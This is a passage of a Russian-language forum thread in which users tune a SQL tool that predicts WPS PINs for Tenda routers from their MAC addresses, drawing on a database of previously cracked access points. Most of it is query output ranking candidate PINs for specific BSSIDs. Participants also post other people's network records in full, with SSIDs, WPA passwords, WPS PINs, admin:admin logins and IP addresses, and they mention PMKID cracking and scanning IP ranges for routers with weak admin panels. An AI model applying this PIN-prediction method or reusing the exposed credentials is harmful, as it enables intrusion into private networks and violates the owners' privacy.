| 33 | 8314 | 1 | 1 | 73 | 39 | 0 | 0 | 34 | 0 | 0 | 0 | 0 |
| 40 | 6315 | 1 | 1 | 29 | 9 | 0 | 0 | 20 | 0 | 0 | 0 | 0 |
| 41 | 8315 | 1 | 1 | 25 | 10 | 0 | 0 | 15 | 0 | 0 | 0 | 0 |
| 53 | 7730 | 1 | 1 | 2 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |
| 59 | 4051 | 0 | 1 | 6 | 2 | 0 | 0 | 4 | 0 | 0 | 0 | 0 |
| 60 | 6198 | 0 | 1 | 4 | 2 | 0 | 0 | 2 | 0 | 0 | 0 | 0 |
| 82 | 3880 | 0 | 1 | 2 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |
| 88 | 5686 | 0 | 1 | 2 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |
| 90 | 8028 | 0 | 1 | 2 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |
| 91 | 8101 | 0 | 1 | 2 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |
| 93 | 7452 | 0 | 1 | 2 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
17 rows in set (0.00 sec)

Картина интересная, но не радостная: налицо отдельные компашки, резонирующие между собой, причём при поиске 04:95:E6:62:F3:50 их замечено аж 3!

Примечание. Мой текущий восьмивекторный вариант (по-умолчанию) тренеруется уже не "на кошках": целевая точка не участвует в построении базы знаний дельт (как будто её нет в базе) и ищется на общих основаниях, т.е., она может и не найтись.

И что бы это значило?!

TOX1C
28.06.2020, 17:53
Откуда такая уверенность ?



Голословное утверждение, не более. Можно проигнорировать.

Насчет невалидных данных в базе - просьба проверить один MAC адрес

c8:3a:35:3c:04:38

CyberTro1n
28.06.2020, 19:54
Голословное утверждение, не более. Можно проигнорировать.

Насчет невалидных данных в базе - просьба проверить один MAC адрес

c8:3a:35:3c:04:38

4Fun
28.06.2020, 20:45
Голословное утверждение, не более. Можно проигнорировать.

Насчет невалидных данных в базе - просьба проверить один MAC адрес

c8:3a:35:3c:04:38



ESSID: DulcineideWifi

BSSID: C8:3A:35:3C:04:38

Password: santos1457

WPS PIN: 67814855

Date: 2018-05-27 07:50:27

TOX1C
28.06.2020, 20:58
Доступ к 3wifi у меня есть, интересует корректность этого пин-кода



WPS PIN: 67814855



относительно данных в базе, и возможность с помощью базы найти этот pin.

4Fun
28.06.2020, 22:24
Доступ к 3wifi у меня есть, интересует корректность этого пин-кода



Вот, что говорит мой экспериментальный генератор (верный пин на 7 месте):

https://paste.ubuntu.com/p/5FJkk8hJCp/

И чтобы было понятно, откуда сформирован этот список, предлагаю посмотреть исходные списки:

https://paste.ubuntu.com/p/2Gkq52mg6y/

TOX1C
28.06.2020, 22:53
(верный пин на 7 месте)



SURPRISE, MOTHERFUCKER

Вот он, во всей красе. https://www.olx.ua/obyavlenie/wi-fi-router-tenda-301-IDIhfEe.html

Можете даже прикупить его, оставите на память себе.

А второй эпизод веселого кина будет, если брутеры осилят взлом PMKID вот этой точки. Я очень сильно сомневаюсь, что кому-то понадобилось тащить в другую страну, дешевый ширпотребный роутер за 15 баксов.

Monohrom
28.06.2020, 23:01
SURPRISE, MOTHERFUCKER


Что происходит? На этих Тендах есть 24 бит пин, это не он?

Дубль мак адреса. Этого счастья не хватало

Генератор 3wifi правильный пин угадать не может, самые близкие по значению это 24 bit pin, 24 bit pin -1

Isica
29.06.2020, 05:27
Вот, что говорит мой экспериментальный генератор (верный пин на 7 месте):



Если у Вас целевая точка (имеющаяся в базе) по-прежнему участвует в расчёте базы знаний дельт, то ваш эксперимент некорректен, ибо точка сама себе накрутит кроссы (а иногда и стратегические миноры, по которым сама себя и найдёт). Т.е., получается беспроигрышная "тренировка на кошках".

Но любопытно, что в данном случае, у меня, на скорую руку*, успешно нашлись оба пина (и дефолтный, и тот, что в базе), и оба по мажорным дельтам:


MariaDB [Tenda]> select tenda_pin8('C8:3A:35:3C:04:38,,2,2');
*************************** 1. row ***************************
tenda_pin8('C8:3A:35:3C:04:38,,2,2'):
|---------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) C8:3A:35:3C:04:58, +32, 5203 пар, 198 уникальных дельт (1:26.3), 67 мажорных(вес 97.5%)
|2) C8:3A:35:3C:04:10, -40, 4773 пар, 142 уникальных дельт (1:33.6), 46 мажорных(вес 98.0%)
|3) C8:3A:35:3C:03:C8, -112, 3764 пар, 223 уникальных дельт (1:16.9), 10 мажорных(вес 96.7%)
|4) C8:3A:35:3C:03:90, -168, 3096 пар, 212 уникальных дельт (1:14.6), 91 мажорных(вес 96.1%)
|5) C8:3A:35:3C:03:80, -184, 2928 пар, 157 уникальных дельт (1:18.6), 51 мажорных(вес 96.4%)
|6) C8:3A:35:3C:05:00, +200, 2888 пар, 220 уникальных дельт (1:13.1), 87 мажорных(вес 95.4%)
|7) C8:3A:35:3C:03:48, -240, 2655 пар, 192 уникальных дельт (1:13.8), 76 мажорных(вес 95.6%)
|8) C8:3A:35:3C:06:00, +456, 2331 пар, 218 уникальных дельт (1:10.7), 77 мажорных(вес 94.0%)
|---------------------------------------------------------------------------------------------|
|После объединения осталось 1484 пинов, из них 0 полностью перекрёстных.
|Эффективность халф-оптимизации: 1.52.
|---------------------------------------------------------------------------------------------|
|ИТОГО: 975 фёст-халфов, 0 полно-перекрёстных.
|---------------------------------------------------------------------------------------------|
1 row in set (2.12 sec)

MariaDB [Tenda]> select * from tmp_TendaPins where PIN in (6781485,2934994) order by n;
+------+---------+------+------+------+------+------+------+------+------+------+------+
| n | PIN | X | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+---------+------+------+------+------+------+------+------+------+------+------+
| 29 | 6781485 | 0 | 583 | 0 | 0 | 583 | 0 | 0 | 0 | 0 | 0 |
| 38 | 2934994 | 0 | 304 | 0 | 0 | 0 | 0 | 304 | 0 | 0 | 0 |
+------+---------+------+------+------+------+------+------+------+------+------+------+
2 rows in set (0.00 sec)

* Этот диапазон сильно зашумлен нецелевыми устройствами, и у меня он был отключён--пришлось "на скорую руку" включить скопом всех из C8:3A:35:3C:*, к кому не было явных претензий, так что строить идилию я не пытался.

И, как и ожидалось, эти два несовместимых пина нашлись от разных точек, из чего напрашивается очень любопытный вывод...

up

И всё-же, немного синтетики с "не-идилией" в конце:


MariaDB [Tenda]> select tenda_pin8('C8:3A:35:3C:04:38,,2,');
*************************** 1. row ***************************
tenda_pin8('C8:3A:35:3C:04:38,,2,'):
|---------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) C8:3A:35:3C:03:C8, -112, 1111 пар, 146 уникальных дельт (1:7.61), 67 мажорных(вес 92.9%)
|2) C8:3A:35:3C:03:80, -184, 841 пар, 113 уникальных дельт (1:7.44), 36 мажорных(вес 90.8%)
|3) C8:3A:35:3C:06:38, +512, 641 пар, 95 уникальных дельт (1:6.75), 18 мажорных(вес 88.0%)
|4) C8:3A:35:3C:06:A0, +616, 603 пар, 116 уникальных дельт (1:5.20), 26 мажорных(вес 85.1%)
|5) C8:3A:35:3C:01:A8, -656, 584 пар, 118 уникальных дельт (1:4.95), 36 мажорных(вес 86.0%)
|6) C8:3A:35:3C:01:88, -688, 586 пар, 140 уникальных дельт (1:4.19), 35 мажорных(вес 82.1%)
|7) C8:3A:35:3C:07:00, +712, 524 пар, 115 уникальных дельт (1:4.56), 45 мажорных(вес 86.6%)
|8) C8:3A:35:3C:01:20, -792, 543 пар, 110 уникальных дельт (1:4.94), 39 мажорных(вес 86.9%)
|---------------------------------------------------------------------------------------------|
|После объединения осталось 855 пинов, из них 0 полностью перекрёстных.
|Эффективность халф-оптимизации: 1.41.
|---------------------------------------------------------------------------------------------|
|ИТОГО: 605 фёст-халфов, 0 полно-перекрёстных.
|---------------------------------------------------------------------------------------------|
1 row in set (0.88 sec)

MariaDB [Tenda]> select * from tmp_TendaPins where PIN in (6781485,2934994) order by n;
+------+---------+------+------+------+------+------+------+------+------+------+------+
| n | PIN | X | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+---------+------+------+------+------+------+------+------+------+------+------+
| 1 | 2934994 | 2 | 278 | 0 | 83 | 0 | 0 | 0 | 142 | 53 | 0 |
| 17 | 6781485 | 1 | 480 | 178 | 0 | 302 | 0 | 0 | 0 | 0 | 0 |
+------+---------+------+------+------+------+------+------+------+------+------+------+
2 rows in set (0.00 sec)

MariaDB [Tenda]> select tenda_pin8('C8:3A:35:3C:04:38,,2,'); *************************** 1. row ***************************
tenda_pin8('C8:3A:35:3C:04:38,,2,'):
|---------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) C8:3A:35:3C:03:C8, -112, 1111 пар, 146 уникальных дельт (1:7.61), 67 мажорных(вес 92.9%)
|2) C8:3A:35:3C:03:80, -184, 841 пар, 113 уникальных дельт (1:7.44), 36 мажорных(вес 90.8%)
|3) C8:3A:35:3C:06:38, +512, 641 пар, 95 уникальных дельт (1:6.75), 18 мажорных(вес 88.0%)
|4) C8:3A:35:3C:01:88, -688, 586 пар, 140 уникальных дельт (1:4.19), 35 мажорных(вес 82.1%)
|5) C8:3A:35:3C:07:00, +712, 524 пар, 115 уникальных дельт (1:4.56), 45 мажорных(вес 86.6%)
|6) C8:3A:35:3C:07:A8, +880, 588 пар, 116 уникальных дельт (1:5.07), 32 мажорных(вес 85.7%)
|7) C8:3A:35:3C:00:B8, -896, 583 пар, 127 уникальных дельт (1:4.59), 52 мажорных(вес 87.1%)
|8) C8:3A:35:3C:00:A0, -920, 568 пар, 141 уникальных дельт (1:4.03), 56 мажорных(вес 85.0%)
|---------------------------------------------------------------------------------------------|
|После объединения осталось 844 пинов, из них 0 полностью перекрёстных.
|Эффективность халф-оптимизации: 1.47.
|---------------------------------------------------------------------------------------------|
|ИТОГО: 576 фёст-халфов, 0 полно-перекрёстных.
|---------------------------------------------------------------------------------------------|
1 row in set (0.88 sec)

MariaDB [Tenda]> select * from tmp_TendaPins where PIN in (6781485,2934994) order by n; +------+---------+------+------+------+------+------+------+------+------+------+------+
| n | PIN | X | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+---------+------+------+------+------+------+------+------+------+------+------+
| 1 | 6781485 | 3 | 585 | 178 | 0 | 302 | 0 | 0 | 75 | 0 | 30 |
| 6 | 2934994 | 2 | 278 | 0 | 83 | 0 | 142 | 53 | 0 | 0 | 0 |
+------+---------+------+------+------+------+------+------+------+------+------+------+
2 rows in set (0.00 sec)

MariaDB [Tenda]> select tenda_pin8('C8:3A:35:3C:04:38,,2,');
*************************** 1. row ***************************
tenda_pin8('C8:3A:35:3C:04:38,,2,'):
|---------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) C8:3A:35:3C:03:C8, -112, 1111 пар, 146 уникальных дельт (1:7.61), 67 мажорных(вес 92.9%)
|2) C8:3A:35:3C:03:80, -184, 841 пар, 113 уникальных дельт (1:7.44), 36 мажорных(вес 90.8%)
|3) C8:3A:35:3C:06:38, +512, 641 пар, 95 уникальных дельт (1:6.75), 18 мажорных(вес 88.0%)
|4) C8:3A:35:3C:01:88, -688, 586 пар, 140 уникальных дельт (1:4.19), 35 мажорных(вес 82.1%)
|5) C8:3A:35:3C:07:00, +712, 524 пар, 115 уникальных дельт (1:4.56), 45 мажорных(вес 86.6%)
|6) C8:3A:35:3C:07:A8, +880, 588 пар, 116 уникальных дельт (1:5.07), 32 мажорных(вес 85.7%)
|7) C8:3A:35:3C:00:A0, -920, 568 пар, 141 уникальных дельт (1:4.03), 56 мажорных(вес 85.0%)
|8) C8:3A:35:3C:07:D0, +920, 568 пар, 141 уникальных дельт (1:4.03), 56 мажорных(вес 85.0%)
|---------------------------------------------------------------------------------------------|
|После объединения осталось 796 пинов, из них 0 полностью перекрёстных.
|Эффективность халф-оптимизации: 1.45.
|---------------------------------------------------------------------------------------------|
|ИТОГО: 550 фёст-халфов, 0 полно-перекрёстных.
|---------------------------------------------------------------------------------------------|
1 row in set (0.88 sec)

MariaDB [Tenda]> select * from tmp_TendaPins where PIN in (6781485,2934994) order by n;
+------+---------+------+------+------+------+------+------+------+------+------+------+
| n | PIN | X | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+---------+------+------+------+------+------+------+------+------+------+------+
| 1 | 6781485 | 4 | 639 | 178 | 0 | 302 | 0 | 0 | 75 | 30 | 54 |
| 16 | 2934994 | 2 | 278 | 0 | 83 | 0 | 142 | 53 | 0 | 0 | 0 |
+------+---------+------+------+------+------+------+------+------+------+------+------+
2 rows in set (0.00 sec)

Т.е., при большом кол-ве живых векторов, побеждает альтернативный пин.

Isica
29.06.2020, 05:29
На этих Тендах есть 24 бит пин, это не он?



В этом диапазоне чёрт ногу сломит: тут есть и 24бит, и много популярных пинов, и целевых устройств тоже хватает.

Но данное устройство (точнее, оба его пина или оба устройства, если их действительно два) явно целевое (а не 24бит).

Isica
29.06.2020, 06:50
Я очень сильно сомневаюсь, что кому-то понадобилось тащить в другую страну, дешевый ширпотребный роутер за 15 баксов.



Надо бы попросить Мастера глянуть, что заливал этот дивайс в базу, и по возможности связаться с этим человеком для прояснения ситуации. Ибо в базе наблюдается как минимум три разных компании среди маков, идущих подряд.

Isica
29.06.2020, 11:41
А второй эпизод веселого кина будет, если брутеры осилят взлом PMKID вот этой точки.



Пока второй эпизод дозревает, предлагаю посмотреть третий:

https://ireland.apollo.olxcdn.com/v1/files/mh5qga82d8b81-UA/image;s=1000x700


MariaDB [Tenda]> select tenda_pin8('04:95:E6:50:04:10,,2,');
*************************** 1. row ***************************
tenda_pin8('04:95:E6:50:04:10,,2,'):
|---------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) 04:95:E6:50:05:88, +376, 625 пар, 110 уникальных дельт (1:5.68), 36 мажорных(вес 88.2%)
|2) 04:95:E6:50:05:C8, +440, 640 пар, 134 уникальных дельт (1:4.78), 53 мажорных(вес 87.3%)
|3) 04:95:E6:50:05:D0, +448, 649 пар, 150 уникальных дельт (1:4.33), 56 мажорных(вес 85.5%)
|4) 04:95:E6:4F:FF:58, -1208, 534 пар, 101 уникальных дельт (1:5.29), 31 мажорных(вес 86.9%)
|5) 04:95:E6:50:0D:70, +2400, 450 пар, 136 уникальных дельт (1:3.31), 43 мажорных(вес 79.3%)
|6) 04:95:E6:50:10:20, +3088, 467 пар, 117 уникальных дельт (1:3.99), 34 мажорных(вес 82.2%)
|7) 04:95:E6:50:10:28, +3096, 450 пар, 124 уникальных дельт (1:3.63), 36 мажорных(вес 80.4%)
|8) 04:95:E6:50:10:30, +3104, 440 пар, 131 уникальных дельт (1:3.36), 31 мажорных(вес 77.3%)
|---------------------------------------------------------------------------------------------|
|После объединения осталось 655 пинов, из них 11 полностью перекрёстных.
|Эффективность халф-оптимизации: 1.38 общая, 1.83 у перекрёстных.
|---------------------------------------------------------------------------------------------|
|ИТОГО: 473 фёст-халфов, 6 полно-перекрёстных (вес 57.9%, 64.4% в ТОП-8).
|---------------------------------------------------------------------------------------------|
1 row in set (0.90 sec)

MariaDB [Tenda]> select * from tmp_TendaHalfs where Half=2400 order by n;
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 70 | 2400 | 0 | 1 | 2 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
1 row in set (0.00 sec)

MariaDB [Tenda]> select * from tmp_TendaPins where PIN=24000406 order by n;
Empty set (0.00 sec)

MariaDB [Tenda]> select * from tmp_TendaHalfs where X>2 order by n;
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 1 | 9909 | 7 | 7 | 1082 | 82 | 129 | 195 | 291 | 148 | 47 | 94 | 96 |
| 2 | 9975 | 7 | 7 | 882 | 132 | 126 | 65 | 61 | 63 | 128 | 144 | 163 |
| 3 | 8909 | 7 | 7 | 170 | 10 | 30 | 42 | 24 | 28 | 10 | 12 | 14 |
| 4 | 8975 | 7 | 7 | 141 | 17 | 22 | 9 | 6 | 13 | 32 | 20 | 22 |
| 5 | 1909 | 7 | 7 | 105 | 9 | 15 | 23 | 31 | 12 | 5 | 5 | 5 |
| 6 | 1975 | 7 | 7 | 85 | 16 | 22 | 9 | 10 | 4 | 6 | 13 | 5 |
| 7 | 4198 | 5 | 6 | 35 | 2 | 10 | 1 | 0 | 5 | 1 | 10 | 6 |
| 8 | 1040 | 5 | 5 | 242 | 51 | 26 | 11 | 7 | 0 | 105 | 42 | 0 |
| 9 | 3132 | 5 | 5 | 231 | 75 | 57 | 71 | 0 | 26 | 1 | 1 | 0 |
| 10 | 4132 | 5 | 5 | 89 | 0 | 14 | 37 | 0 | 14 | 3 | 10 | 11 |
| 11 | 4197 | 5 | 5 | 49 | 0 | 8 | 12 | 0 | 2 | 13 | 6 | 8 |
| 12 | 3197 | 4 | 5 | 118 | 43 | 24 | 43 | 0 | 1 | 6 | 1 | 0 |
| 13 | 9974 | 4 | 4 | 49 | 4 | 0 | 14 | 2 | 0 | 17 | 12 | 0 |
| 14 | 1960 | 4 | 4 | 11 | 1 | 4 | 3 | 0 | 0 | 2 | 0 | 1 |
| 15 | 9040 | 3 | 5 | 26 | 3 | 3 | 3 | 1 | 0 | 13 | 3 | 0 |
| 16 | 1026 | 3 | 5 | 9 | 2 | 2 | 2 | 0 | 0 | 1 | 1 | 1 |
| 17 | 3198 | 3 | 3 | 141 | 75 | 51 | 10 | 0 | 5 | 0 | 0 | 0 |
| 18 | 6469 | 3 | 3 | 5 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 2 |
| 19 | 1865 | 3 | 3 | 4 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
19 rows in set (0.00 sec)

Идилия, да не та!

Халф на 70-м месте, и то чудом, а полный пин вообще не найден

ВЫВОД:

по-моему, существование нескольких партий дивайсов с одинаковыми маками можно считать доказанным.

USER_X
29.06.2020, 12:42
А второй эпизод веселого кина будет, если брутеры осилят взлом PMKID вот этой точки.



Забирайте

Monohrom
29.06.2020, 15:34
В этом диапазоне чёрт ногу сломит: тут есть и 24бит, и много популярных пинов, и целевых устройств тоже хватает.



Не только на этом диапазоне.

OUI 50:0F:F5 встречаются Micro DSL Tenda, Tenda, 11N Wireless Router у которых 24 бит пин но и есть целевые тенды.

Выходит что имеет смысл шерстить все диапазоны на которых попадаются Тенды ? Так как там может быть клон с целевым алгоритмом.



И, как и ожидалось, эти два несовместимых пина нашлись от разных точек, из чего напрашивается очень любопытный вывод...



И какой же?

Monohrom
29.06.2020, 15:56
Надо бы попросить Мастера глянуть, что заливал этот дивайс в базу, и по возможности связаться с этим человеком для прояснения ситуации. Ибо в базе наблюдается как минимум три разных компании среди маков, идущих подряд.



Этот девайс был залит в 2018 году, в базе указано что этой у Тенды был белый ip.

Наверняка там была открыта веб морда и на ней был дефолтный пароль или вебморда была уязвима, а может и всё сразу.

Скорее всего Тенду зацепили когда просканировали диапазон 138.219.0.0/16

4Fun
29.06.2020, 16:01
Если у Вас целевая точка (имеющаяся в базе) по-прежнему участвует в расчёте базы знаний дельт, то ваш эксперимент некорректен, ибо точка сама себе накрутит кроссы (а иногда и стратегические миноры, по которым сама себя и найдёт). Т.е., получается беспроигрышная "тренировка на кошках".



Не участвует: генератор обучен только на Tenda Realtek Router (целевой Tenda 11N) и только на 04:95:E6:*

TOX1C
29.06.2020, 22:25
Пока второй эпизод дозревает, предлагаю посмотреть третий:



Второй эпизод оказался с закрученным сюжетом. Очень странно, но точка та.


192.168.0.1 80 143 Done admin: Tenda 11N Wireless Router C8:3A:35:15:64:B0 Pentatonica WPA2 97007941 14020322 192.168.0.1 255.255.255.0 192.168.49.125 255.255.240.0 192.168.48.2 195.225.228.1 195.225.228.2

Как так оказалось, что точка нашлась в питере, с сербским ip адресом, при этом никогда не покидая свою родную квартиру; и в момент попадания в базу 3wifi имела совершенно другой ssid (и возможно пасс), но правильную пару MAC-PIN, так и останется загадкой.

Но перед вылазкой на местность, посмотрел в wigle что там еще есть. И кое-что нашлось.

Роутер-путешественник, да еще и ветеран. Впервые замечен в эфире в 2012 году, побывал в ЮАР, Чечне Чехии, а под конец его угораздило оказаться в Украине.

По логике вещей, там должен был быть mac2pin алгоритм, какой и рекомендует база 3wifi. Но нет.


192.168.0.1 80 62 Done admin:admin Tenda 11N Wireless Router C8:3A:35:09:A3:78 Vlad WPA/WPA2 Luta777555 46158604 192.168.0.1 255.255.255.0 192.168.236.85 255.255.255.0 192.168.236.1 195.225.228.2 195.225.228.3
Мало того, этот роутер не один такой. Порылся в базе wigle, и у этой серии роутеров, с отличающимся последним октетом, нашлось еще 3 путешественника (минимум, дальше было лень искать).

Вывод напрашивается сам - китайская смекалочка, столкнувшись с дефицитом MAC адресов, решила использовать одни и те же адреса дважды, а может даже и трижды. Или больше?

Isica
30.06.2020, 03:30
китайская смекалочка, столкнувшись с дефицитом MAC адресов, решила использовать одни и те же адреса дважды, а может даже и трижды. Или больше?



Трижды, как минимум.

up

распишу-ка здесь чуть подробнее:

MariaDB [Tenda]> select tenda_pin8('04:95:E6:62:F3:50,7314868,2');
*************************** 1. row ***************************
tenda_pin8('04:95:E6:62:F3:50,7314868,2'): PinFound,27,HalfFound,18,XPin,1,XHalf,1,Xh,1,XMax, 3,XhMax,3,mPin,174,mHalf,337,Delta1,-376,MAC1,04:95:E6:62:F1:D8,Delta2,-592,MAC2,04:95:E6:62:F1:00,Delta3,616,MAC3,04:95:E 6:62:F5:B8,Delta4,-784,MAC4,04:95:E6:62:F0:40,Delta5,-792,MAC5,04:95:E6:62:F0:38,Delta6,1096,MAC6,04:95: E6:62:F7:98,Delta7,1584,MAC7,04:95:E6:62:F9:80,Del ta8,1608,MAC8,04:95:E6:62:F9:98
1 row in set (1.27 sec)

MariaDB [Tenda]> select * from tmp_TendaHalfs where X order by n;
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 1 | 1129 | 3 | 3 | 1145 | 0 | 736 | 12 | 0 | 173 | 0 | 0 | 224 |
| 2 | 5906 | 3 | 3 | 137 | 0 | 49 | 13 | 0 | 57 | 0 | 0 | 18 |
| 3 | 1195 | 3 | 3 | 118 | 0 | 31 | 19 | 0 | 23 | 0 | 0 | 45 |
| 4 | 5907 | 3 | 3 | 37 | 0 | 6 | 2 | 0 | 11 | 0 | 0 | 18 |
| 5 | 6906 | 2 | 2 | 948 | 0 | 0 | 507 | 0 | 281 | 0 | 0 | 160 |
| 6 | 6972 | 2 | 2 | 769 | 0 | 0 | 616 | 0 | 87 | 0 | 0 | 66 |
| 7 | 1064 | 2 | 2 | 688 | 0 | 410 | 0 | 0 | 115 | 0 | 0 | 163 |
| 8 | 6841 | 2 | 2 | 491 | 0 | 0 | 48 | 0 | 299 | 0 | 0 | 144 |
| 9 | 6907 | 2 | 2 | 247 | 0 | 0 | 94 | 0 | 52 | 0 | 0 | 101 |
| 10 | 5841 | 2 | 3 | 121 | 0 | 39 | 1 | 0 | 62 | 0 | 0 | 19 |
| 11 | 7906 | 2 | 2 | 55 | 0 | 0 | 10 | 0 | 21 | 0 | 0 | 24 |
| 12 | 5972 | 2 | 3 | 46 | 0 | 1 | 26 | 0 | 14 | 0 | 0 | 5 |
| 13 | 7972 | 2 | 2 | 23 | 0 | 0 | 9 | 0 | 11 | 0 | 0 | 3 |
| 14 | 7907 | 2 | 2 | 21 | 0 | 0 | 2 | 0 | 4 | 0 | 0 | 15 |
| 15 | 7249 | 1 | 1 | 753 | 306 | 0 | 0 | 447 | 0 | 0 | 0 | 0 |
| 16 | 7091 | 1 | 1 | 477 | 0 | 0 | 0 | 0 | 0 | 379 | 98 | 0 |
| 17 | 7026 | 1 | 1 | 433 | 0 | 0 | 0 | 0 | 0 | 250 | 183 | 0 |
| 18 | 7314 | 1 | 1 | 337 | 151 | 0 | 0 | 186 | 0 | 0 | 0 | 0 |
| 19 | 7315 | 1 | 1 | 173 | 75 | 0 | 0 | 98 | 0 | 0 | 0 | 0 |
| 20 | 6249 | 1 | 1 | 146 | 40 | 0 | 0 | 106 | 0 | 0 | 0 | 0 |
| 21 | 7092 | 1 | 1 | 106 | 0 | 0 | 0 | 0 | 0 | 15 | 91 | 0 |
| 22 | 6026 | 1 | 1 | 95 | 0 | 0 | 0 | 0 | 0 | 60 | 35 | 0 |
| 23 | 6091 | 1 | 1 | 87 | 0 | 0 | 0 | 0 | 0 | 74 | 13 | 0 |
| 24 | 8249 | 1 | 1 | 82 | 44 | 0 | 0 | 38 | 0 | 0 | 0 | 0 |
| 25 | 9129 | 1 | 1 | 60 | 0 | 41 | 0 | 0 | 0 | 0 | 0 | 19 |
| 26 | 7157 | 1 | 1 | 59 | 0 | 0 | 0 | 0 | 0 | 32 | 27 | 0 |
| 27 | 6314 | 1 | 1 | 57 | 15 | 0 | 0 | 42 | 0 | 0 | 0 | 0 |
| 28 | 8026 | 1 | 1 | 56 | 0 | 0 | 0 | 0 | 0 | 24 | 32 | 0 |
| 29 | 8091 | 1 | 1 | 52 | 0 | 0 | 0 | 0 | 0 | 39 | 13 | 0 |
| 30 | 8314 | 1 | 1 | 49 | 26 | 0 | 0 | 23 | 0 | 0 | 0 | 0 |
| 31 | 7841 | 1 | 1 | 40 | 0 | 0 | 0 | 0 | 19 | 0 | 0 | 21 |
| 32 | 9064 | 1 | 1 | 39 | 0 | 30 | 0 | 0 | 0 | 0 | 0 | 9 |
| 33 | 1130 | 1 | 1 | 34 | 0 | 13 | 0 | 0 | 0 | 0 | 0 | 21 |
| 34 | 8092 | 1 | 1 | 24 | 0 | 0 | 0 | 0 | 0 | 5 | 19 | 0 |
| 35 | 1194 | 1 | 1 | 20 | 0 | 0 | 7 | 0 | 13 | 0 | 0 | 0 |
| 36 | 8315 | 1 | 1 | 18 | 7 | 0 | 0 | 11 | 0 | 0 | 0 | 0 |
| 37 | 6315 | 1 | 1 | 17 | 6 | 0 | 0 | 11 | 0 | 0 | 0 | 0 |
| 38 | 6092 | 1 | 1 | 16 | 0 | 0 | 0 | 0 | 0 | 2 | 14 | 0 |
| 39 | 6157 | 1 | 1 | 14 | 0 | 0 | 0 | 0 | 0 | 10 | 4 | 0 |
| 40 | 8157 | 1 | 1 | 11 | 0 | 0 | 0 | 0 | 0 | 4 | 7 | 0 |
| 41 | 1289 | 1 | 1 | 5 | 0 | 0 | 0 | 0 | 0 | 4 | 1 | 0 |
| 42 | 9130 | 1 | 1 | 2 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
| 43 | 7730 | 1 | 1 | 2 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |
| 44 | 1626 | 1 | 1 | 2 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
44 rows in set (0.00 sec)

MariaDB [Tenda]> select * from tmp_TendaHalfs where X order by m1+m4 desc;
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 15 | 7249 | 1 | 1 | 753 | 306 | 0 | 0 | 447 | 0 | 0 | 0 | 0 |
| 18 | 7314 | 1 | 1 | 337 | 151 | 0 | 0 | 186 | 0 | 0 | 0 | 0 |
| 19 | 7315 | 1 | 1 | 173 | 75 | 0 | 0 | 98 | 0 | 0 | 0 | 0 |
| 20 | 6249 | 1 | 1 | 146 | 40 | 0 | 0 | 106 | 0 | 0 | 0 | 0 |
| 24 | 8249 | 1 | 1 | 82 | 44 | 0 | 0 | 38 | 0 | 0 | 0 | 0 |
| 27 | 6314 | 1 | 1 | 57 | 15 | 0 | 0 | 42 | 0 | 0 | 0 | 0 |
| 30 | 8314 | 1 | 1 | 49 | 26 | 0 | 0 | 23 | 0 | 0 | 0 | 0 |
| 36 | 8315 | 1 | 1 | 18 | 7 | 0 | 0 | 11 | 0 | 0 | 0 | 0 |
| 37 | 6315 | 1 | 1 | 17 | 6 | 0 | 0 | 11 | 0 | 0 | 0 | 0 |
| 43 | 7730 | 1 | 1 | 2 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |
| 1 | 1129 | 3 | 3 | 1145 | 0 | 736 | 12 | 0 | 173 | 0 | 0 | 224 |
| 38 | 6092 | 1 | 1 | 16 | 0 | 0 | 0 | 0 | 0 | 2 | 14 | 0 |
| 29 | 8091 | 1 | 1 | 52 | 0 | 0 | 0 | 0 | 0 | 39 | 13 | 0 |
| 11 | 7906 | 2 | 2 | 55 | 0 | 0 | 10 | 0 | 21 | 0 | 0 | 24 |
| 2 | 5906 | 3 | 3 | 137 | 0 | 49 | 13 | 0 | 57 | 0 | 0 | 18 |
| 39 | 6157 | 1 | 1 | 14 | 0 | 0 | 0 | 0 | 0 | 10 | 4 | 0 |
| 21 | 7092 | 1 | 1 | 106 | 0 | 0 | 0 | 0 | 0 | 15 | 91 | 0 |
| 12 | 5972 | 2 | 3 | 46 | 0 | 1 | 26 | 0 | 14 | 0 | 0 | 5 |
